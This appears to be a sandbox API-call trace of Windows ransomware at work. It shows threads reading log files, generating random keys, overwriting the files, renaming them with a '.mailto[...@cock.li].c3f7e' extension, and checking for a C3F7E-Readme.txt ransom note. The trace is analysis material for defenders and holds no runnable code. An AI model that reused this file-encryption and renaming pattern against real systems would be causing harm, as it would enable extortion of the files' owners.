	[0075.102] WriteFile (in: hFile=0x968, lpBuffer=0x2d89460*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x910fb54, lpOverlapped=0x0 | out: lpBuffer=0x2d89460*, lpNumberOfBytesWritten=0x910fb54*=0x115, lpOverlapped=0x0) returned 1
	[0075.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89460) returned 1
	[0075.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70a00) returned 1
	[0075.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0075.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70d00) returned 1
	[0075.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c18) returned 1
	[0075.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bc8) returned 1
	[0075.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0075.106] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47858) returned 1
	[0075.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x2d53cd8
	[0075.106] wcscpy (in: _Dest=0x2d53cd8, _Source="C:\\Windows10Upgrade\\upgrader_win10.log" | out: _Dest="C:\\Windows10Upgrade\\upgrader_win10.log") returned="C:\\Windows10Upgrade\\upgrader_win10.log"
	[0075.106] wcscat (in: _Dest=0x2d53cd8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0075.106] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x910fb0c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\upgrader_win10.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0075.106] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x2d7db28
	[0075.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7db28) returned 1
	[0075.107] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7f268) returned 1
	[0075.107] NtQueryInformationFile (in: FileHandle=0x968, IoStatusBlock=0x910fb18, FileInformation=0x910faf0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x910fb18, FileInformation=0x910faf0) returned 0x0
	[0075.107] NtSetInformationFile (FileHandle=0x968, IoStatusBlock=0x910fb18, FileInformation=0x910faf0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0075.108] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53cd8) returned 1
	[0075.108] FlushFileBuffers (hFile=0x968) returned 1
	[0075.110] CloseHandle (hObject=0x968) returned 1
	[0075.110] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d85970
	[0075.110] wcscpy (in: _Dest=0x2d85970, _Source="C:\\Windows10Upgrade\\" | out: _Dest="C:\\Windows10Upgrade\\") returned="C:\\Windows10Upgrade\\"
	[0075.110] wcscat (in: _Dest=0x2d85970, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\C3F7E-Readme.txt") returned="C:\\Windows10Upgrade\\C3F7E-Readme.txt"
	[0075.111] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\C3F7E-Readme.txt" (normalized: "c:\\windows10upgrade\\c3f7e-readme.txt")) returned 0x20
	[0075.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85970) returned 1
	[0075.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d53c10) returned 1

Thread:
	id = 166
	os_tid = 0x1378

	[0075.195] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log")) returned 0x20
	[0075.197] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", dwFileAttributes=0x20) returned 1
	[0075.198] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x968
	[0075.198] GetFileSizeEx (in: hFile=0x968, lpFileSize=0x918fa10 | out: lpFileSize=0x918fa10*=42674) returned 1
	[0075.198] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0xa6ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.198] ReadFile (in: hFile=0x968, lpBuffer=0x918f994, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x918f990, lpOverlapped=0x0 | out: lpBuffer=0x918f994*, lpNumberOfBytesRead=0x918f990*=0x4, lpOverlapped=0x0) returned 1
	[0075.199] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bc8
	[0075.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.199] NtQuerySystemTime (in: CurrentTime=0x918f970 | out: CurrentTime=0x918f970*=132251868019357145) returned 0x0
	[0075.199] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xb7f924eb
	[0075.199] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x3d159e7c
	[0075.199] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x3f2dacb9
	[0075.199] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xfed60098
	[0075.199] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x1e60d7d7
	[0075.199] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x85aa24cd
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x909adf35
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xe06dc92a
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x5f857baa
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xa34e81f4
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x204d1ef7
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x5e40e0ff
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x4c464ba3
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x7f87a96e
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x11f9142d
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x552991c1
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xe5b63235
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xdd14b512
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xdaeca93e
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x7796cabc
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xab52ff72
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xf697bdee
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x23b7f529
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x15631085
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x411d5e63
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x2e0379b9
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x7bb9acc4
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x47d76f5b
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x6dc3716
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0xeeac65ac
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x4c20f017
	[0075.200] RtlRandom (in: Seed=0x918f97c | out: Seed=0x918f97c) returned 0x3e7db490
	[0075.211] ReadFile (in: hFile=0x968, lpBuffer=0x47b67c8, nNumberOfBytesToRead=0xa6b2, lpNumberOfBytesRead=0x918f96c, lpOverlapped=0x0 | out: lpBuffer=0x47b67c8*, lpNumberOfBytesRead=0x918f96c*=0xa6b2, lpOverlapped=0x0) returned 1
	[0075.214] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.214] WriteFile (in: hFile=0x968, lpBuffer=0x47c2fd0*, nNumberOfBytesToWrite=0xa6b2, lpNumberOfBytesWritten=0x918f968, lpOverlapped=0x0 | out: lpBuffer=0x47c2fd0*, lpNumberOfBytesWritten=0x918f968*=0xa6b2, lpOverlapped=0x0) returned 1
	[0076.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0076.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0076.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0076.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c2fd0) returned 1
	[0076.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47b67c8) returned 1
	[0076.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04978) returned 1
	[0076.653] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73d20) returned 1
	[0076.653] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x57) returned 0x2d77a20
	[0076.653] SetFilePointerEx (in: hFile=0x968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.653] WriteFile (in: hFile=0x968, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x13b, lpNumberOfBytesWritten=0x918f9d0, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0x918f9d0*=0x13b, lpOverlapped=0x0) returned 1
	[0076.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0076.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77a80) returned 1
	[0076.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345f0) returned 1
	[0076.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77a20) returned 1
	[0076.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0076.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bc8) returned 1
	[0076.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b50) returned 1
	[0076.666] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47858) returned 1
	[0076.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4734db8
	[0076.666] wcscpy (in: _Dest=0x4734db8, _Source="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log"
	[0076.666] wcscat (in: _Dest=0x4734db8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.666] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x918f988, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.666] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2d70140
	[0076.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70140) returned 1
	[0076.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e2d8) returned 1
	[0076.667] NtQueryInformationFile (in: FileHandle=0x968, IoStatusBlock=0x918f994, FileInformation=0x918f96c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x918f994, FileInformation=0x918f96c) returned 0x0
	[0076.667] NtSetInformationFile (FileHandle=0x968, IoStatusBlock=0x918f994, FileInformation=0x918f96c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734db8) returned 1
	[0076.668] FlushFileBuffers (hFile=0x968) returned 1
	[0076.673] CloseHandle (hObject=0x968) returned 1
	[0076.674] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2d858c0
	[0076.674] wcscpy (in: _Dest=0x2d858c0, _Source="C:\\$GetCurrent\\Logs\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0076.674] wcscat (in: _Dest=0x2d858c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt") returned="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt"
	[0076.674] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\c3f7e-readme.txt")) returned 0x20
	[0076.674] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d858c0) returned 1
	[0076.674] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d600c8) returned 1

Thread:
	id = 167
	os_tid = 0x1398

	[0075.199] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20
	[0075.212] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", dwFileAttributes=0x20) returned 1
	[0075.212] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x96c
	[0075.212] GetFileSizeEx (in: hFile=0x96c, lpFileSize=0x920ff1c | out: lpFileSize=0x920ff1c*=6004) returned 1
	[0075.212] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x1770, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.212] ReadFile (in: hFile=0x96c, lpBuffer=0x920fea0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x920fe9c, lpOverlapped=0x0 | out: lpBuffer=0x920fea0*, lpNumberOfBytesRead=0x920fe9c*=0x4, lpOverlapped=0x0) returned 1
	[0075.221] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.221] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c40
	[0075.222] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.222] NtQuerySystemTime (in: CurrentTime=0x920fe7c | out: CurrentTime=0x920fe7c*=132251868019658765) returned 0x0
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x460e9248
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x3127037f
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xfbbb07aa
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x9ac8d2ac
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x75fa768
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xa11d6261
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x49f3dbbc
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x549b7972
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x41450c75
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x57e97dc2
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xe709150c
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xaa03234f
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xd66e2317
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x56c9c36b
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x82485481
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x8d87f630
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xa00011b0
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x67539b2b
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xacc01fab
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xdd45eb6c
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x241fdb59
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x94add984
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xaa4f4c10
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x3f50c2ca
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x6129ffec
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xd2c91104
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xd41693a0
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x75c158eb
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x36d257e6
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xda64610d
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0x34d50874
	[0075.222] RtlRandom (in: Seed=0x920fe88 | out: Seed=0x920fe88) returned 0xc72cf062
	[0075.231] ReadFile (in: hFile=0x96c, lpBuffer=0x47cf7d8, nNumberOfBytesToRead=0x1774, lpNumberOfBytesRead=0x920fe78, lpOverlapped=0x0 | out: lpBuffer=0x47cf7d8*, lpNumberOfBytesRead=0x920fe78*=0x1774, lpOverlapped=0x0) returned 1
	[0075.232] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0075.232] WriteFile (in: hFile=0x96c, lpBuffer=0x47dbfe0*, nNumberOfBytesToWrite=0x1774, lpNumberOfBytesWritten=0x920fe74, lpOverlapped=0x0 | out: lpBuffer=0x47dbfe0*, lpNumberOfBytesWritten=0x920fe74*=0x1774, lpOverlapped=0x0) returned 1
	[0077.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34780
	[0077.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34668
	[0077.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34668) returned 1
	[0077.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47dbfe0) returned 1
	[0077.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf7d8) returned 1
	[0077.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e049f0) returned 1
	[0077.651] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73858) returned 1
	[0077.651] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4d) returned 0x2dac210
	[0077.651] SetFilePointerEx (in: hFile=0x96c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.651] WriteFile (in: hFile=0x96c, lpBuffer=0x2d89690*, nNumberOfBytesToWrite=0x131, lpNumberOfBytesWritten=0x920fedc, lpOverlapped=0x0 | out: lpBuffer=0x2d89690*, lpNumberOfBytesWritten=0x920fedc*=0x131, lpOverlapped=0x0) returned 1
	[0078.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89690) returned 1
	[0078.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabce8) returned 1
	[0078.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34618) returned 1
	[0078.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac210) returned 1
	[0078.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34780) returned 1
	[0078.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c40) returned 1
	[0078.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47c68) returned 1
	[0078.080] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478d0) returned 1
	[0078.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x2ddb5f0
	[0078.080] wcscpy (in: _Dest=0x2ddb5f0, _Source="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" | out: _Dest="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log"
	[0078.080] wcscat (in: _Dest=0x2ddb5f0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0078.080] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x920fe94, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0078.080] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e9500
	[0080.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9500) returned 1
	[0080.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ae68) returned 1
	[0080.230] NtQueryInformationFile (in: FileHandle=0x96c, IoStatusBlock=0x920fea0, FileInformation=0x920fe78, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x920fea0, FileInformation=0x920fe78) returned 0x0
	[0080.230] NtSetInformationFile (FileHandle=0x96c, IoStatusBlock=0x920fea0, FileInformation=0x920fe78, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0080.231] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb5f0) returned 1
	[0080.231] FlushFileBuffers (hFile=0x96c) returned 1
	[0080.232] CloseHandle (hObject=0x96c) returned 1
	[0080.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4c) returned 0x2dabfa8
	[0080.233] wcscpy (in: _Dest=0x2dabfa8, _Source="C:\\$GetCurrent\\Logs\\" | out: _Dest="C:\\$GetCurrent\\Logs\\") returned="C:\\$GetCurrent\\Logs\\"
	[0080.233] wcscat (in: _Dest=0x2dabfa8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt") returned="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt"
	[0080.233] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\$getcurrent\\logs\\c3f7e-readme.txt")) returned 0x20
	[0080.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabfa8) returned 1
	[0080.233] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732d58) returned 1

Thread:
	id = 168
	os_tid = 0x13a4

	[0075.233] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20
	[0075.233] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log", dwFileAttributes=0x20) returned 1
	[0075.233] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970
	[0075.233] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x928fb50 | out: lpFileSize=0x928fb50*=40) returned 1
	[0075.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c18
	[0075.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47c90
	[0075.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a88
	[0075.233] NtQuerySystemTime (in: CurrentTime=0x928fab0 | out: CurrentTime=0x928fab0*=132251868019658765) returned 0x0
	[0075.233] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x4200d0c8
	[0075.233] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x7385abff
	[0075.233] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0x22b517cd
	[0075.233] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xafdce2cd
	[0075.233] RtlRandom (in: Seed=0x928fabc | out: Seed=0x928fabc) returned 0xd6a9fdd1
